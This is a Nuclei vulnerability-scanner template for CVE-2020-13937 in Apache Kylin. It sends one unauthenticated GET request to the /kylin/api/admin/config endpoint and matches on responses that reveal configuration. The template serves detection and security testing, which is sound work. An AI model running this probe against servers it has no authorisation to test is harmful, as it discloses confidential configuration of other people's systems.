nuclei-templates/cves/2020/CVE-2020-13937.yaml

id: CVE-2020-13937

info:
  name: Apache Kylin Unauth
  author: pikpikcu
  severity: medium
  description: |
    Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
    2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4,
    2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,
    3.0.2, 3.1.0, 4.0.0-alpha has one restful api which exposed
    Kylin's configuration information without any authentication,
    so it is dangerous because some confidential information entries will be disclosed to everyone.
  reference:
    - https://kylin.apache.org/docs/release_notes.html
    - https://s.tencent.com/research/bsafe/1156.html
  tags: cve,cve2020,apache
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.30
    cve-id: CVE-2020-13937
    cwe-id: CWE-922

requests:
  - method: GET
    path:
      - "{{BaseURL}}/kylin/api/admin/config"
    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - config
          - kylin.metadata.url
        condition: and
        part: body